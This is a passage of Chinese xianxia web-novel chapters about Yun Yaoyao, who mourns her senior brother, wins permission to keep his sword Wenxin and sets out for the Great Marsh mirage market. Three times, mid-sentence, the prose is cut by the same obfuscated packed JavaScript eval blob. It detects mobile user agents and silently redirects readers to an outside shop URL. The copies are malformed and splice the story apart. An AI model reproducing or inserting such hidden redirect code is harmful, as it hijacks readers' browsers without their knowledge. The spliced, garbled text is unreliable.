徐清来没有拒绝,回过神来,便听见剑穗与剑鞘相撞时的金石之声。 云杳窈乘胜追击,拉着徐清来的手,抬眼时眸光微颤,可怜可爱。 “回雪峰上只有我一个人,昨日翻阅师兄遗物,发现了几本没看过的书,还望师姐指点一二。” 云杳窈拿出一早就准备好的旧书。 这是她根据藏书阁里,许晴来的借阅记录翻出来的,这本她多次借出,足以看出她这本书爱不释手。 徐清来接过书后,先挑眉,而后轻咳一声。 “你确定这是岑无望的书吗?” 云杳窈看着这本《南华风月录》,认真点点头,违心道:“是啊。” “没看出来,岑师弟竟然喜欢看这种杂书。” 徐清来话没说完,云杳窈便适时打了个喷嚏,她鼻尖泛红,嘟囔道:“好冷。” 徐清来将书卷起,手心仍有师妹刚刚握过的余温。 她用灵力为云杳窈遮蔽风雪,道:“随我进来吧。” 两人进了房间,云杳窈才发现,徐清来的弟子居室与其他人的房间确实不太一样。 身为一名剑修,她房内收藏的书数量之多,未免显得太夸张了。 墙面全部改装成书架,书桌、床榻、梳妆台,凡一切能堆砌的地方,全都是成摞的书籍。 云杳窈跟在徐清来身后,没忍住瞄了瞄书名。 虽有剑谱,但目光所及之处,多是些杂书,其中不乏一些志怪传奇、杂谈随笔。 亲传弟子都有独立院落,她这间院子的所有房间都被重建打通,从云杳窈的位置往前看,能看到数不清的书架和琳琅满目的书。 云杳窈见她桌子上还摊开了一本书,约莫是没有读完,但书页旁不乏些批注解读,看得出来,徐清来好读书,且不忌讳类目。 “师姐真是博学多才。”云杳窈感叹,“我从来没在藏书阁以外的地方,见过这么多书。” 她眼神不经意撇过桌面上掀开的纸页,徐清来注意到后,随手将书合上,淡淡道:“都是些闲书,无用的爱好罢了。” 于剑宗而言,剑术与灵力至上,徐清来这种,确实是异类。 她鲜少与同门中的弟子们产生私交,除了练剑,便是把自己锁在房间里看书,因此,多数乾阳宗的弟子会认为她性格孤僻,不好相处。 徐清来的人生,不过剑与书两者而已。 云杳窈注意到她躲闪的眼神,以及泛红的耳尖,惊讶道:“怎么会是无用的爱好!那天下读书人岂不可笑?依我看,师姐才是文曲星下凡,若是哪日论道辩法,师姐肯定是乾阳宗第一。” 听到此话,原本垂眸端详着书页的徐清来抬头,她看向云杳窈那双清澈的琥珀瞳,眼神闪动时,像是流淌了蜜糖似的。 说的比唱的还好听。 不知何时,徐清来唇角被云杳窈的话音染上一抹笑意。 她敛起笑容,重新将目光放回别处,淡声道:“哪有剑修不练剑,与人同台而坐辩论心法的,又不是佛修。” “更何况……”她巡视周围的书籍,深深叹了口气,“这些不过是我闲暇时的爱好,乾阳宗里,除了你巴巴凑上前来,是不会有人愿意翻阅这些东西的。我也只是在机缘巧合之下,偶然收集了这些闲书。” 然后收集了这么多? 云杳窈不信,她定定看向徐清来,眼都不肯眨,像是无声质问。 徐清来知道这话说服力不强,索性转移话题:“你不是想读书吗?若得空,可来此处寻我。” 徐清来以为,云杳窈不过一时兴起,很快便会失去兴趣。 然而接下来一个月,云杳窈都每日抱着书来寻找她。 《南华风月录》读完那日,云杳窈合上书本,望着天边簌簌白雪,突然道:“今日是除夕啊。” 徐清来在翻看一本游记,她头也不抬,道:“是啊。” 修道之人会淡忘年月。 她们对天地灵气运转敏感,但追寻大道的岁月漫长,十年不过弹指一挥间,百年难见的天才,乾阳宗不胜枚举。 是以凡间的节日,在乾阳宗并不兴盛,机缘到了,闭关悟道几十年的大有人在。私交不错的,会择日而聚,相逢那日便是吉日。 云杳窈道:“师姐,我师兄魂灯灭了两月有余。下山寻他的同门师兄业已返回宗门……” 她垂眼,盯着泛黄的书页,直到把自己看的眼前模糊,逼出些泪水才肯作罢。 “岑无望尸骨无存。” 其实云杳窈昨日便收到了消息,晏珩闭关,她接过问心时,本应该在同门的安慰下,象征性哭一场。 可她一滴眼泪都流不出来,她只是很平静的,接受了岑无望两世早逝的事实。 她倒着翻书,沙沙的声音弥漫在书案间。 在翻过一半时,泪珠子突然断了线,啪嗒啪嗒打在纸上,晕开一片墨渍。 那片墨渍掩盖了岑无望的年少,他的字如人一般内敛,起笔藏锋。但某些字里,还是难免泄露少年心性,所有终笔为竖的字里,他都以悬针竖结尾。 这种锋芒,亦如他当年执拗地剑指苍天,以剑心入道,力压所有同期拜入乾阳宗的弟子。 自触动山门大阵那日起,乾阳宗谁人不知,云杳窈对其已故师兄岑无望情深不会,其心日月可鉴。 岑无望过世后,云杳窈虽不能下山亲自为他收敛尸骨,却日日去知命殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592672|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦拭魂灯与灵牌。 连消息不甚灵通的徐清来亦知云杳窈情深。 徐清来不会安慰人,嘴唇翕动半晌,挤出来两个字:“节哀。” 云杳窈擦去眼泪,语气平静:“师兄的佩剑问心回来了,我不愿它就此埋没于剑冢,所以我决定,将问心留在身边。” 饶是徐清来,听到此处,难免震惊,她感觉自己的舌头打结,好半天才劝阻道:“师妹,你如今还没有找到相宜的本命剑,若是把问心留在身边,可能会阻碍你寻找本命剑。而且,问心它本就有剑灵……” 问心是上古神剑,无人知其来历。 在岑无望把它收归本命剑前,就已经有剑灵。 千百年来,还没有人能得到他的认可。即便是岑无望,也仅仅是得到剑的认可,并未得到剑灵认可。 他身死道消,便是最好的印证。 至新主身死,他都不曾现身相助,否则,岑无望何至于死在山下。 “杀死岑无望的恶鬼,自南荒而来,它目前不知所踪。”云杳窈说,“我要用问心,替岑无望报仇。” 云杳窈双手攥紧,道:“大泽的蜃市即将开启,我想在那里问到那只恶鬼的消息。” 徐清来手一抖,墨水滴落在纸上。她将笔搁置在一旁,任由墨水在纸上晕染开来。 她的话很绝情:“我不会带你去的,杳窈,你这是自寻死路。” 云杳窈没有看徐清来的脸,很多时候,这位师姐都是一副无动于衷的冷漠态度。 如此刻,她换纸,重新提笔作画,绝口不提下山之事。 但她是云杳窈逃离乾阳宗的唯一机会了。 云杳窈从接近她的第一天起,就知道自己会成功。 剑痴师姐的心里不止有书与剑,还有山水。 “大泽蜃市六年一遇,师姐看过那么多游记,何不亲自去游历天下山河。” “在师门修炼,已经够让我心力交瘁。游记不过是打发时间的逗趣玩意儿,我连宗务堂的任务都不接,师妹又何必错会我意。” 云杳窈合上书,并不反驳。 徐清来祖上与乾阳宗颇有渊源,她承载家族希望拜入乾阳宗,唯一离经叛道的,便是躲起来看些杂书。 出世脱俗,远避红尘,与凡人隔开一条泾渭分明的线,好维持世人眼中的神秘与清贵。这便是当今仙门世家惯来维持的体面。 云杳窈不急于这一时的嘴上高低,她合上书,与徐清来告辞。 “无论如何,我都会留住岑无望的遗志,直至问心都不再记得他的昙花一现为止。” “荒唐。”晏珩拧眉。 云杳窈乖巧跪坐在殿中,竟将他素日语气学了个十成十:“师尊息怒。” 见她毫无悔意,晏珩眸中怒火更盛。 他闭关修炼,今日提前证悟出关,现身隐春宫。头一件事,便是唤来云杳窈询问近况。 不知为何,晏珩如今修为日渐精进,脸色看起来却并不算好。 云杳窈觉得,晏珩应当是被她刚刚说出的话气到了。 云杳窈重复道:“求师尊成全,为徒儿与师兄合籍证婚。” 11. 第 11 章 晏珩未语,而风雪连天,吹散满园梨花白。 云杳窈再一想,隐春宫有他设下的法阵,哪来的风雪侵扰? 分明是他心中愠怒,令回雪峰为之震颤。 饶是如此,云杳窈仍不愿退让。 她于剑术一道,天赋有限,过不了宗务堂的审核。若是想要下山,不仅需要门中弟子带队,还需要有一把本命剑。 修炼有八大境界,入化、形生、韵灵、无灭、神秀、应天、归元、返璞。 乾阳宗的弟子,凡是过了形生境,待过了形生境初期,便能进入剑冢感应本命剑。 神剑有灵,乾阳宗的弟子以剑入道,却并非谁都会有本命剑。 云杳窈今生比前世更早突破,如今已是形生境初期。按照常理,她只需耐心等待,好好修炼,待境界稳定,就能够挑选本命剑,到时候再下山也不迟。 前世云杳窈不是没进入过剑冢,然而其中未曾有剑为她而鸣。 并非是她拒绝了剑道,而是剑拒绝了她。 正因如此,她才更要留下问心。 晏珩按下未出口的斥责,道:“与死人合籍,闻所未闻,难不成你要为他折寿?” 他闭上双眼,心乱如麻。 岑无望少年老成,云杳窈自拜入他门下,便由他亲自教导。 她向来乖巧懂事,却不想在岑无望一事上近似疯魔。 云杳窈一直抱着问心,听见外面风动树摇,他的质问犹似冷刃,劈开她的天真。 她脸色苍白,将问心小心横放在膝前,深深向他一拜。 “师尊爱惜弟子,原不该为此事让师尊烦心。然而师兄尸骨不存,问心是他留给我的唯一念想,若是将它归还剑冢,弟子实在不甘。” 乾阳宗是天下第一的剑宗,云杳窈的师尊晏珩,是当世第一等的剑修。 云杳窈身为他的弟子,却连本命剑都没有,实在可笑。 前世杳窈从剑冢内空手而归,至死都停滞在了形生境界。 终其一生,她是大道茫然无知的攀登者,也是被不被眷顾的剑宗弃子。 旁人的坦途,却是她遥不可及的高峰。 缺点天分,于旁人来说,或许是心头遗憾,兴许勤能补拙还能填补这片空缺。 然而对云杳窈来说,她所在的时代,是灵气蓬勃、天才辈出的时代。 洪流簇拥之下,一滴水的呐喊声,实在微不足道。 云杳窈说到此处,喉间哽咽再也压抑不住,她换了换,接着说。 “杳窈从未求过师尊,只此一次,求你,求求你,让我以道侣的身份,留住问心。” 她这会儿是真心实意的在难过。 不过并不是为岑无望,而是为她自己。 云杳窈两辈子最怜爱的人,都是她自己。 上辈子,她自知飞升无望,便想着近水楼台先得月,嫁给晏珩,即便来日没能借他的光飞升上界,她留在乾阳宗,还能衣食无忧,人人尊敬。 没想到晏珩会杀妻证道。 活该他最后没能飞升。 云杳窈在心底再次骂道,真不争气啊。 再抬头,云杳窈眼尾染上薄红一片,泪眼婆娑间,将她原本就纯澈的眼瞳衬得更加剔透。 这副模样,她揽镜自照,亦觉可怜。 晏珩最见不得她流眼泪,与其说是心疼,更多的是无措。 无论是前世还是今生,见到云杳窈哭泣,他总是会心软片刻。 云杳窈要抓住的,就是这片刻的心软,她抬起手指,牵住晏珩衣角,道:“我只想要问心,师兄已经不在了,难不成连个念想都不能留吗?” 她的抽泣声在寂静的殿内回荡,每一声砸在晏珩心间,都能震起片片涟漪。 晏珩意识到心意已动,自知不该如此。他生来冷清,原就不该有这么多情绪。 不管是为了谁。 他看着身前的云杳窈,她的脖颈线条因仰面直视而绷得很直,越发显得纤细脆弱起来。 这样脆弱的生命,就好像不慎飘离回雪峰的雪花一样易融。 它以为是奔向自由归途,其实是走向消亡。 晏珩看着她,就好像看着自己的悲悯。 圣人是该多些怜弱之心。晏珩这般想着,俯身为云杳窈擦去一滴悬在睫羽上,未来得及掉落的眼泪。 他第无数次意识到,云杳窈真的很脆弱。 脆弱到,见到她,就像是见到无数挣扎求生的生灵一般。 鲜规之兽,若无所倚靠,自然会惶惶不可终日。 看着云杳窈的执着,晏珩突然想通了,连月郁结在心口的那股气随之不见。 晏珩重新不扶她起身,反倒纵容她这么靠着自己。 “好了。”他这声似妥协,但更像是喟叹。 “不就是一把问心而已,你想留在身边,便留着吧。” 晏珩想起云杳窈刚上山时,岑无望每每下山,她都会抱着师兄留下的旧衣。 日暮斜阳时,远眺山路,期待那个清瘦沉默的身影闯入她视线。 云杳窈身体弱,为此吃了不少苦,晏珩用了很久,才改掉她这个坏习惯。 旧衣故剑,本就不是什么值得放在心上的事。若是有了新事物的出现,轻而易举就能取代它们。 晏珩轻抚她的背:“杳窈,你年少轻狂,愿奉献痴心,这原本没什么。但为师不愿看到你为情自苦。问心也好,岑无望也罢,为师纵着你最后痴狂这一次。往后万不能因此折损道心,不然反倒令岑无望九泉之下,不得安心。好吗?” 他的手一次次抚过她单薄脊背,指尖不经意划到后颈皮肤,云杳窈顿时生出一身鸡皮疙瘩,连头皮都在发麻。 云杳窈装作无事,抽噎着回答:“师尊慈爱,杳窈谨记师尊教诲。” 晏珩长叹一口气:“情深不寿啊。” 晏珩声音轻柔,明明他的喉舌还远,可声音就好像在她耳廓边盘旋。 “合籍是不可能的,我不可能眼睁睁看门下弟子自毁前程。但我准你为他伤情三月,告慰他亡魂,也算是全了你痴心一片。” 云杳窈刚要说谢,晏珩温柔道:“三个月后,春日已尽。新一批的弟子进入乾阳宗前,你须得从逢朽生椿搬回自己的住处。” 逢朽生椿,便是岑无望的住处。 岑无望天生剑心,可“剑心”并非形体实物,而是一种刻于魂魄骨血的天赋。 相反,他生来患有心疾,惟有早日突破无灭境界,才能引灵气淬炼自身,治愈心疾。 这也是为什么,岑无望会不断下山历练。 怀剑心者,见苍生,救世人悲苦。 云杳窈感觉晏珩的声音像是无形的绳索,一点点扼断她的呼吸。 晏珩的声音还在继续:“你不是想让徐清来下山陪你吗?我明日已传信给宗务堂弟子,让他们给你赶制了通行令,你明日便能下山散心。” “记得按时归来,春末之时,门中大选,你是我唯一的弟子,不得缺席,知道吗?” 云杳窈怯怯抬头,发现晏珩已覆手而立,面含浅笑,似挂在枝头的新雪般清冽,并无半分异常。 她怔怔道:“师尊,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592673|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “我只剩你这么一个弟子,自然是要多费些心思的。”晏珩道,“雪夜难行,为师还是送一送你吧。” 说罢,晏珩将云杳窈扶起。 两人穿过法阵,没有御剑,沉默行走在山道小路上,路途恰好足够他们并肩而行。 晏珩执伞,云杳窈提灯。 流光映雪,反衬得所过之处恍若白昼。 有晏珩周身的灵力运转,严寒不侵,风雪不近。 云杳窈不知道他为何还要打伞。 逢朽生椿的门口悬挂着暖灯,把牌匾上的字照得很清楚。 云杳窈看见这四个字,便回身对晏珩说:“多谢师尊,杳窈先行告退,师尊快回去安歇吧。” 她退出伞下,声音惊动鸟雀,树枝摇晃,纷纷泼洒出一盏白。 晏珩脚步未动,将伞往前倾斜,挡下即将落在她身上的雪。 手中灯笼的光只能照亮脚下路,照不清他眸中晦暗。 晏珩倏尔提起件旧事来:“还记得你第一次孤身上回雪峰,还不会御剑,伞被山间风吹走,我见到你时,霜雪落了你满身。” 那时晏珩远远看见一只小雪人,凑近了才发现,是自己新收下的徒弟。 霜雪落在她乌发与眉睫,满身皆白,好不可怜。 晏珩轻轻笑了。 云杳窈却回想起那时的寒冷,几乎要把她整个人冻得没知觉。 初入乾阳宗,她的年纪对于修炼入门来说,为时过晚。不能用灵气护体,不算长的路,她走得十分艰难。 云杳窈闻声抬头,正遇上晏珩垂眸看她,眸中除却灯光残影,还有模糊的她。 她忽然觉得心里很乱,两人的距离不算逾矩,晏珩的动作甚至称得上克制。 然而他这种忆及往昔的话,令她隐隐不安。 今夜的晏珩,与前世的晏珩太像了,这种亲昵不该出现在师徒间。 云杳窈笑着接过话:“师尊慈爱,如父如长,杳窈一直将师尊的好谨记在心,只待来日报答师尊呢。” 晏珩将伞放置她掌中,两人指尖有刹那相抵。 是晏珩先手收,云杳窈与他接触的手还微微颤抖,他仿若不觉,立于霜雪夜色中,摇头无奈道:“你啊,少让为师替你劳心费神就好,至于报答……” 他面含浅笑:“明日下山前,记得来奉茶。虽是短行,但你毕竟头一遭下山,规矩不能不遵守。” 云杳窈乖巧应下,在晏珩注视下回了逢朽生椿院内。 她刚关上房门,脸上的笑容顿时收起。 待晏珩远去,云杳窈坐于房间内,手中丝线释放。有一根线上,缠绕着缕缕鬼气。 云杳窈把剩余丝线收回,只留下它。 这上面是贪惑的鬼气。 当时在崖底,花在溪将贪惑杀死后,仍有一缕鬼气残留在云杳窈的线上,缠绕其上,不仅不会和她体内灵气产生排异,反而越发顺从,云杳窈甚至能通过丝线滋养炼化它。 云杳窈早就发现,除了她之外,无人能够感知到这股力量的存在。 这些丝线就像是生于她血肉的藤,除却她自己,无人能感受到它们的蓬勃。 从她今日到隐春宫开始,就没停止过对晏珩的试探。 在崖底时,云杳窈还不熟悉这些丝线,误以为是自己灵力低微,所以才无法在瞬间借用它的力量打败花在溪。 因为丝线刺入身体的关键不是身体伤口,而是情思漏洞。 就在刚才,晏珩将伞递给她之际,这缕丝线已经埋进晏珩的手腕,顺着他的经脉进了体内。 12. 第 12 章 云杳窈担心此事败露,晏珩会在回去后有所察觉,所以枯坐了半宿。 直至她在忐忑中再次尝试拨动虚空中的丝线,明确感知到贪惑的存在,她这才安定下来。 顺着丝线,云杳窈能够感知到那边浩瀚如海的灵力,她试着将丝线往晏珩身体更深处探去。 本以为会碰到壁垒,未曾想竟然一路畅通无阻。 贪惑力微,又因为是恶鬼,因此容易被她所控。 但晏珩清修数百年,灵气浩荡,她的力量与之相比,就如同蚍蜉撼树。 她现在还不能像控制贪惑一样,将晏珩的力量化为己用,所以她并不贪多,只是放出贪惑,便让丝线继续蛰伏在晏珩体内。 操纵丝线需要耗费灵力,云杳窈心里紧张又兴奋,等做完这一切已至后半夜,她将丝线隐匿,沉沉睡去。 次日难免醒得晚了些。 逢朽生椿的早晨很寂静,岑无望患有心疾,晏珩特意为他选了偏僻的地方居住。 云杳窈在半梦半醒间想起晏珩昨夜嘱咐,连忙收拾完东西要往回雪峰赶。 推开院门,门口的常青树下立着一位少年。 泼墨似的乌发半拢起,被一支木簪挽成髻,剩下的头发随风而动,比流云还轻盈。 那少年生来一副冷清俊容,见到云杳窈方展一抹浅笑:“云师姐好。” 他俯身行礼,姿态从容。 云杳窈一楞,乍然见到此人,会觉得他通身的气度和眉眼像极了故人。再端详一阵,又觉得有天壤之别。 伸手不打笑脸人,她下意识冲这位陌生的少年点头示意。 雪已经停了。 树影模糊了他的身影,风拂动间,枝头薄雪不堪重负,落了少年满身。 他第一反应竟然不是躲,而是闭着眼抱紧怀中的盒子。 雪落进他脖子里,寒冷引得他打了个寒颤。 “你是谁?”云杳窈好奇道。 这少年周身灵力微弱,连运转灵气护体都不会,所以云杳窈边说边将他身上的雪震荡开来。 灵气温暖少年周身,他睁开眼,不觉红了脸。 “多谢师姐。”他道,“我叫闻佩鸣,久闻师姐之名,今日得见师姐姿容,果然是闻名不如见面。” 闻佩鸣说着,自己都笑了,微微收起下巴,再抬头看云杳窈时脸色更红。 “这是我带给师姐的礼物,这一路上劳烦师姐照顾,还请师姐不要嫌弃。” 他说着,连忙打开盒子,里面是一支灵玉雕成的蛇形镯子。 这条小蛇鳞片光滑,是一条圆乎乎的胖头蛇,看起来没有什么攻击性。 云杳窈的注意力却不在镯子上,她看到对方在动作间衣袖滑落几寸,露出一片羊脂玉般的莹润手腕。 腕骨内侧的肌肤之上,有一颗亮如血滴的朱砂痣。 云杳窈移不开视线,因为她记得岑无望手腕处,也有这么一颗朱砂痣。 愣神间,闻佩鸣小心翼翼观察者她的神色,问:“师姐不喜欢吗?” 他忙解释道:“这虽不是什么贵重礼物,但灵玉养人精气,师姐若真不喜欢,我回头让人给你雕个别的物件也成。” 云杳窈立于阶上,比闻佩鸣还告出半个头,他需要微微仰头倾身,才能拉近两人的距离。 云杳窈回过神来,没有扫兴,她收下礼物,温和道:“你是谁的弟子,怎么从前没见过你?” 闻佩鸣道:“春日试炼还未开始,我还未能得长老们青眼,现下只跟在明晦长老身边学习,不曾正式拜师。” 寻常的乾阳宗弟子,怎么可能破例跟在掌门身边?大抵是哪家厌倦了家中自在日子的世家公子,由族中保举提前进入乾阳宗,春日试炼时走个过场,就能正式拜入长老门下。 云杳窈并未揭穿,和气道:“闻师弟今日来逢朽生椿,可是有什么要紧事?” 闻佩鸣这才想起正事,回她:“我家就在大泽,正巧家中长辈唤我回去商议些拜师前的琐事。微尘长老让我跟着师姐们一起下山,好在外头互相有个照应。” 原来是晏珩派来看管她的,云杳窈恍然大悟:“这样啊,劳烦师尊费心,我现在正要去隐春宫向他老人家拜别,你要和我一起吗?” 闻佩鸣闻言,收敛笑意,面露难色。 “师姐,我日出时刚从隐春宫下来,微尘仙君已闭关,他让我转告你,今日不必奉茶了,我们三人去宗务堂领了通行令,即可自行下山。” 云杳窈乐得少跑一趟。 既然时间充裕,她便提议:“那你先去宗务堂等我,我再回去收拾收拾。” 闻佩鸣道:“师姐放心,你只管拿了剑就行。我早已向家中传信,这一路上都有人接应着,不会让师姐吃半点苦。” 佩剑就在腰侧,实际上,为了不引起注意,云杳窈早就在储物袋里收纳了充足的灵石、灵药和灵符,以便随时找机会离开。 所以云杳窈没有反对,她将礼物收起,回身把逢朽生椿的门合上,对闻佩鸣干脆道:“走吧。” 云杳窈刚要走下阶梯,看见闻佩鸣递出右手,想要扶她一下:“此处台阶沾了雪水,师姐小心。” 那颗痣在他袖口若隐若现,埋在虚影里,云杳窈很难不去在意它。 逢朽生椿前的青石阶梯确实滑,但压根没必要由人搀扶。 云杳窈看着仰视时湿漉漉的眼,没有拒绝,将手虚搭在他小臂。 两人并肩走在路上,云杳窈才察觉出,对方只是看起来年轻,身量已经高出她不少,她才堪堪到他下巴处。 想起那一晃而过的朱砂痣,云杳窈状似无意般提起:“师弟家在大泽,怎么会想起来这里?” 她眸中满是冷寂,语气却轻松愉快:“修炼入道的方式有千百种,剑修这么苦,你家中长辈竟也舍得让你远赴乾阳宗求学。” 许是云杳窈的外表太有迷惑性,闻佩鸣好像听不懂她语气中微不可见的恶意,不假思索道:“不是我选择了乾阳宗,是乾阳宗选择了我。” 云杳窈脚步一顿,歪头看向已经快她两步,错开身位后回头寻她的闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14592674|155949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩鸣 “这如何说?”云杳窈弯着眼。 她勾起的唇角微微露出一角尖利的虎牙,显得分外娇俏:“难不成是长老们求着你来的吗?” “若真论起来,应该是剑选择了我。”闻佩鸣单手作剑诀,身后长剑应召出鞘。 一道亮光反射在云杳窈脸上,最后定格在她双眼上。 闻佩鸣握住剑柄,食指与中指并起,灵力顺着指尖抚过剑身。 “天同?”云杳窈瞳孔一缩,确认这是与问心齐名的神剑天同。 “正是天同。”闻佩鸣挥剑,前方道路的冰雪全被剑气扫开,又被剑中灵气运转带动,他挽剑,落雪被卷于剑势中,逐渐向上旋转升起,最终凝结成团,落在他掌心。 剑气未消,仍在催动雪球悬于闻佩鸣掌心。 这道剑气虽声势浩大,但能看出,他用剑纯熟,全随心意而走,他明显和天同磨合得很好。 “冥冥之中,我能感受到天同在召唤我。我不远千里来到乾阳宗,便是因为天同,它在剑冢孤寂千年,就是为了等我。” 闻佩鸣炫耀完收剑归鞘,雪球也在他掌心坠落,他随手丢弃,带着点得意问云杳窈:“师姐,你知道我什么时候认识你的吗?” 不待云杳窈询问,他接着说下去:“就是在一个月前,我初入乾阳宗,便感知到了问心的存在。我与天同的剑灵意念相通,一抬头就看见你从山道上经过。” 闻佩鸣语气中带着点遗憾:“不过那时候,你好像有急事,我还没来得及跟上去,你就不见踪迹,幸好身旁的师兄认出是你,告诉我你是微尘长老的得意弟子。” 云杳窈见过的剑道天才不知凡几,闻佩鸣这点小花招,她当初入门没多久就能做到。但她还是因天同的选择而感到不适,她提着唇角,尽量捧场:“师弟好剑法。” 她加快脚步,继续往宗务堂走。 闻佩鸣紧跟着她,语气越来越兴奋:“天同与问心,本就是并存而生的神剑,我在家中看过一本古籍,据说它们本是灵族宝物,其中天同被灵族女君赠与璆琳仙君,是两人的定情之物。” 宗务堂近在咫尺,云杳窈面露惊讶:“竟还有此事?这么说,天同与问心,也算是真情的化身了。” 闻佩鸣有些不好意思,他想说这是冥冥之中的缘分,云杳窈却提前打断他的话,感叹道:“那这么说来,你应该会和岑无望相见恨晚。” 两人走进宗务堂,迈过门槛时,闻佩鸣贴心为她先拨开帘帐。 “岑无望,那是何人?” 闻佩鸣刚来乾阳宗不久,并无相熟的朋友,除却云杳窈,他还从未主动结交过哪位同门弟子。 云杳窈眉间萦绕着淡淡哀愁,叹了口气。 “是我的师兄,他与我两情相悦。算算日子,若不是他因意外过身,我们如今都该合籍成婚了。” 她缓缓抬头,看着闻佩鸣的脸,眸光温柔中带着眷恋:“说起来,你长得还有些像他呢,方才骤然看见你在逢朽生椿外等候的身影,我还以为是师兄回来了。” 13. 第 13 章 他们脚步不停,继续往里走去,行动间日影浮动,间或有光擦在云杳窈脸上,衬得她眼瞳如碎金。 闻佩鸣听到她的话,并不觉得尴尬,说:“那真是太遗憾了。” 他反过来宽慰云杳窈:“师姐也不要太过伤心,若是岑师兄知晓你为他伤神,恐怕也不会安心。” 他很快转移话题:“师姐此次前往大泽,可是为了蜃市?” 云杳窈点头:“正是。” 闻佩鸣还想说些什么,但云杳窈已看到徐清来,她朝前快步奔去,挽住徐清来的手臂,道:“师姐等了多久了?” 徐清来道:“我也刚到宗务堂不久。” 她目光转向闻佩鸣,眯了眯眼打量这位新面孔,问云杳窈:“这位是?” 闻佩鸣微微点头,脸上仍是不变的笑意,他客气道:“在下闻佩鸣,蜃市将启,鱼龙混杂。此次下山,我负责接待两位师姐到家中作客散心,师姐若是有什么要求,尽管开口。” 徐清来眉头轻拧,复舒展,并未追问下去,回了他一句:“西晴徐氏,怀璞长老亲传弟子,徐清来。” 两人的目光在空中交汇,眼中锋芒有一瞬对峙。 不过待云杳窈取了通行令转身后,全都不见。 云杳窈下山心切,拿到通行令就催促着下山。 徐清来很自然地站在她身侧,闻佩鸣紧跟着站在她另一侧。 宗务堂离山门不远,他们没有御剑。 闻佩鸣离开宗务堂三尺远,便问云杳窈:“师姐这次去蜃市,想必有所求,不如提前告诉我。我在蜃市有点人脉关系,愿为师姐尽些绵薄之力。” 他的手指上有数枚戒指,金玉奇石,在他说话间不断拨弄。 云杳窈正愁不知道逃跑路线。 她先说:“不过是下山散心,并没有什么非达成不可的心愿。” 又走两步,云杳窈才又说:“不过闻师弟说得对,蜃市鱼龙混杂,若是能提前了解,想必会少些烦心事。” “对了!”云杳窈突然提议,“蜃市还未开始,师弟能给张地图吗?最好能让我们提前交易信息,也好有个准备。” 徐清来扭头,与云杳窈对上视线,看见她眼中狡黠,不觉勾起唇角。 蜃市每次开始,都会随着交易状况产生变化,摊主与买家都是蒙面交易,只要不触犯蜃市规则,中途改变交易方式的都大有人在。 往年为特定目的而来,空手而归的人不在少数。 本以为这就能让闻佩鸣知难而退,稍微安静一会儿,然而他转动中指戒指,爽快应下:“这有何难?包在我身上。” 云杳窈惊喜道:“真的吗?那就麻烦师弟了。” 她心里却并不信闻佩鸣有这么大本事,觉得他不过是打肿脸充胖子。 这人出手阔绰,偏作可怜模样。 若真是一眼惊鸿,念念不忘,这么久以来,也该对她有个大致了解。 岂会不知,她于并不擅长用剑,问心并非她所有,又怎会刻意揭开她伤心事,刻意引她提起岑无望已死之事。 整个乾阳宗,谁人不知她苦等岑无望,至今仍不能走出悲痛。 岑无望不常在乾阳宗居住,因此他的衣着打扮与寻常弟子并不相同。 时人多以身怀宝器为荣,彰显出身不凡。 岑无望接下的任务,都是些南荒杂事,那些百姓付不起高昂的报酬,钱少事多,乾阳宗弟子往往看不上。 所以他身上最值钱的,就是他随身携带的问心,以及那颗尚在跳动的剑心。 闻佩鸣拟态,却未能学其精髓。 若是他能在春日试炼中拔得头筹,一举压过同届所有弟子,云杳窈兴许还会高看他一眼。 天同这位新主,未免过于浮躁。 他们与守山弟子打了照面,云杳窈在他们放行后询问:“伯都呢?怎么没见到他。” 守山弟子挥挥手:“伯都陷入沉睡,估摸着要过些日子才能苏醒。” 说罢,他催道:“快些下山吧。” 四名守山弟子合力,才能用灵力推动大阵的通道打开一条窄缝。 眼看着通道即将关闭,云杳窈道了声谢,连忙走过去。 过了宗门,三人便御剑下山。 出了乾阳宗地界,天际传来一阵轰鸣声,有一座体积庞大的飞舟向这边驶来。 这架飞舟的正前方,有数名金边玄衣的蒙面男子,昂首挺胸,见到前方有人御剑也并不避让,缓缓停在不远处。 云杳窈三人的身后是乾阳宗,她有些好奇:“这是哪门哪派的人物?敢在乾阳宗外悬停巨型飞舟,不怕触犯山门大阵吗?” 黑金旗帜迎风招展,某一刻展露全貌。 徐清来默默摸出一片琉璃叆叇,放在眼前,这才看清上图案。 黑身赤目,双翅大张,隐约可见绿紫丝线浮动着暗光,姿态异常凶猛。 “鸩鸟图腾,这是照渊阁的旗帜。”徐清来肯定道,“他们一向在南荒出没,并不常与北境来往。” 大泽就在南荒范围内。 说完,她们二人齐齐看向闻佩鸣。 